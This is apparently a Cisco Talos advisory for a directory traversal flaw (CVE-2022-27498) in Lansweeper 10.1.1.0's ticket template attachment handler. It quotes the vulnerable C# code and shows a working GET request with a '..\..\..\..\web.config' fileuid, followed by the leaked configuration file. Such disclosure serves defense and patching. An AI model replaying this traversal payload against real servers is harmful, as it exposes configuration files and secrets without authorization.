CVE-2022-27498
A directory traversal vulnerability exists in the TicketTemplateActions.aspx GetTemplateAttachment functionality of Lansweeper lansweeper 10.1.1.0. A specially-crafted HTTP request can lead to arbitrary file read. An attacker can send an HTTP request to trigger this vulnerability.
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
Lansweeper lansweeper 10.1.1.0
lansweeper - https://www.lansweeper.com/
9.1 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
CWE-22 - Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)
Lansweeper is an IT Asset Management solution that gathers hardware and software information of computers and other devices on a computer network for management, compliance and audit purposes.
An exploitable directory traversal vulnerability is related with an action: Helpdesk -> choose any ticket -> Template [editor window] -> Edit any template
and is located inside \LS\CF\Helpdesk\TicketTemplateActions.cs
file.
Let us take a close look at the vulnerable source code:
Line 19 private static void GetTemplateAttachment(HttpContext c)
Line 20 {
Line 21 try
Line 22 {
Line 23 if (!User.Current().IsInRole(Permission.EditConfiguration) && !User.Current().IsAgent())
Line 24 {
Line 25 throw new CustomException("Access denied");
Line 26 }
Line 27 string fileuid = c.Request["fileuid"].Trim();
Line 28 int num = int.Parse(c.Request["templateid"]);
Line 29 string path = LSFolder.HelpdeskTemplateFiles.GetPath();
Line 30 string text2 = $"{path.TrimEnd('\\')}\\_{num}_{fileuid}";
Line 31 if (!File.Exists(text2))
Line 32 {
Line 33 throw new CustomException("file not found on fileserver...");
Line 34 }
Line 35 c.Response.Clear();
Line 36 c.Response.AddHeader("Content-Disposition", "attachment; filename=\"" + fileuid + "\"");
Line 37 c.Response.ContentType = "application/octet-stream";
Line 38 c.Response.TransmitFile(text2);
Line 39 c.Response.Flush();
When a user is trying to edit the ticket template
, the above code is responsible for reading all included attachments in that template.
fileuid
is a variable representing part of filename which should be read at line 27
and returned to the user.
Because an attacker can fully control fileuid
, and there is a lack of any sanitization in a context of directory traversal,
we can jump out of the default path helpdesk template files
at line 30
and read any file on the server.
REQUEST
GET /helpdesk/TicketTemplateActions.aspx?action=gettemplateattachment&fileuid=..\..\..\..\web.config&templateid=2 HTTP/1.1
Host: 192.168.0.102:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: image/avif,image/webp,*/*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.0.102:81/helpdesk/Ticket.aspx?tid=22
Cookie: UserSettings=language=1; ASP.NET_SessionId=ke33dhy3jtng0hcwed2fe5av; custauth=username=hacker&userdomain=; __RequestVerificationToken_Lw__=zP2evPOU4gLNF/pF3R1XPsIP7ceImHsHKoqy7GfYwDnIwHnDJKt3r5+0bFTXNS/XpEAiyEFBVT2ekfSLIPgVMULtvi8Ae4qLSYcUO0UH90vcERUKMi72E3I2yEJexWSyNKlA8gcXlfMPYbc0a94Dji44b2cNn4aS0KGOSUQBn/0=
RESPONSE
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: application/octet-stream
Server: Microsoft-IIS/8.0
x-frame-options: SAMEORIGIN
Content-Disposition: attachment; filename="..\..\..\..\web.config"
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 08 Jun 2022 07:49:02 GMT
Connection: close
Content-Length: 5325
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<configSections>
<section name="featureToggles" type="System.Configuration.AppSettingsSection, System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"/>
</configSections>
<featureToggles></featureToggles>
<appSettings>
<add key="DirectoryJS" value="js/release/"/>
<add key="DirectoryCSS" value="css/"/>
<add key="aspnet:MaxJsonDeserializerMembers" value="990000"/>
<add key="HdUpdateThread" value="1"/>
</appSettings>
<connectionStrings configProtectionProvider="DataProtectionConfigurationProvider">
<EncryptedData>
<CipherData>
<CipherValue>AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAA31f9e/ZQ4kKBRCakjPYZswQAAAACAAAAAAAQZgAAAAEAACAAAADHiSF/lzluyvw7Lx88aWP0YcJz96SHNANFVZyH9VYLeAAAAAAOgAAAAAIAACAAAABdVGpiG5NeQIsMrZWl5UxXE2bmTAKTQCbtBRphzgXkYOACAADIdJ1gVyXQ+GywixA+DJ6q4yux1jEg3jRLpyFOnLlaZ4ZZ5dp94/HqA9plP5HPftaBinrcP99FSDwGi9CmnU58Behn0AGaU52Pw2UyiQprE8C679JejGlM9FqYQu6gyNPkzQdg1pzk6enJqBcJkLsQEHsJuZz0h7+Goh7faP4CI3qv6yQO/E3hqCZ3E4PibFZ1wWRUKFxA4azzhPaGzCJuohNT1B5QmBitgIRNUEpC8ZYTGanGaelaVdmQqYK13sxHuD6YUxOMGmvqjCdrVjioONvodc3LIX+16Tio9/Gew4E0edgfamp3Wg+5nL2045cKwT4StVtGLF42rkBq4zxq8CSnyiFw0YRH0fvGHL4h0A5aMvsWOVsCRc9Ri6tpPETSeXwdhUkScwterWVtX4Uf8mBneYxWpsIaf7Wc4jwV8LfWuhHvo+j4nSdoMPKnPeFE8I6FcfqDq2aAqHAf+XBBhMNAvHSWdgJ8UZDJx6AEu2RKvWy/eUf9DSJXsxy+umirDLTs0N6WK0XmsTqyYo89HYHBZZrUYKssiitXA3YJPXgJxbmXacO14GKRXRSQKo7TgrhRFRQjKdeT6XU4AZI99qlpX2ShiNfDbAZY+LJEJ9H+sGw2SI7iINlv6nBF5IJUgNnPsCUrHC0aqMmJuKOyZFrNMhMipci+af8pGGI62DOjXYznoFQ/SH7bWTPeE29YYux7gMeqFwVsXdmbIiy6j6cdwIiYZRda56TmffUkfIWLWI3KHwCt7nMBva0D55liKsmRU5ERvxMB4a9jTI/zs6NuCznJTBCN7GCOBbmUuENK5yxQCNEFhzrU/dFdCO0ABD/7A+wCuJOkTYOnjSGdybfOC/o4vNzc9TM7flJEKVwL4p7wsqSisTa7XX27VHOmzQzLPltkCmDc6l0572o03iEvqArTlqtboo9sgsI9qPLveEDW/tysSe+bjd5A1W9jhzRwU6hvMMUi+MCDyP8OQAAAAF4tuT8k20AfzCREvqjQ/I4bhkuoGi2FXPL0rGfTovef2uDhcytpOlA6mDeCsCWtDWb/2qzUB1VRPhVs4QIvfKo=</CipherValue>
</CipherData>
</EncryptedData>
</connectionStrings>
<runtime>
<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
<dependentAssembly>
<assemblyIdentity name="Newtonsoft.Json" publicKeyToken="30ad4fe6b2a6aeed" culture="neutral"/>
<bindingRedirect oldVersion="0.0.0.0-13.0.0.0" newVersion="13.0.0.0"/>
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="log4net" publicKeyToken="669e0ddf0bb1aa2a" culture="neutral"/>
<bindingRedirect oldVersion="0.0.0.0-2.0.8.0" newVersion="2.0.8.0"/>
</dependentAssembly>
</assemblyBinding>
</runtime>
<system.web>
<httpRuntime maxRequestLength="201900" executionTimeout="600" requestValidationMode="2.0"/>
<authentication mode="Windows"/>
<identity impersonate="false"/>
<compilation debug="true" defaultLanguage="C#" strict="false" explicit="true" targetFramework="4.0">
<assemblies>
<remove assembly="Microsoft.VisualStudio.Web.PageInspector.Loader, Version=1.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"/>
<remove assembly="System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=B77A5C561934E089"/>
<remove assembly="System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=B77A5C561934E089"/>
<remove assembly="System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=B77A5C561934E089"/>
<remove assembly="System.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=B77A5C561934E089"/>
<remove assembly="System.DirectoryServices.AccountManagement, Version=4.0.0.0, Culture=neutral, PublicKeyToken=B77A5C561934E089"/>
<add assembly="System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=B77A5C561934E089"/>
<add assembly="System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=B77A5C561934E089"/>
<add assembly="System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=B77A5C561934E089"/>
<add assembly="System.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=B77A5C561934E089"/>
<add assembly="System.DirectoryServices.AccountManagement, Version=4.0.0.0, Culture=neutral, PublicKeyToken=B77A5C561934E089"/>
</assemblies>
</compilation>
</system.web>
<system.webServer>
<validation validateIntegratedModeConfiguration="false"/>
<security>
<requestFiltering>
<verbs allowUnlisted="true">
<add verb="TRACE" allowed="false"/>
<add verb="OPTIONS" allowed="false"/>
</verbs>
<hiddenSegments>
<add segment="templatefiles"/>
</hiddenSegments>
<requestLimits maxAllowedContentLength="1147483648"/>
</requestFiltering>
</security>
<httpErrors errorMode="Custom">
<remove statusCode="404"/>
<error statusCode="404" path="/404.aspx" responseMode="ExecuteURL"/>
<remove statusCode="500"/>
<error statusCode="500" path="/500.aspx" responseMode="ExecuteURL"/>
</httpErrors>
<staticContent>
<clientCache cacheControlMode="UseMaxAge" cacheControlMaxAge="1.00:00:00"/>
</staticContent>
</system.webServer>
<location path="api.aspx">
<system.webServer>
<security>
<authentication>
<anonymousAuthentication enabled="true"/>
</authentication>
</security>
</system.webServer>
<system.web>
<authorization>
<allow users="*"/>
</authorization>
</system.web>
</location>
</configuration>
2022-06-27 - Vendor Disclosure
2022-11-29 - Vendor Patch Release
2022-12-01 - Public Release
Discovered by Marcin 'Icewall' Noga of Cisco Talos.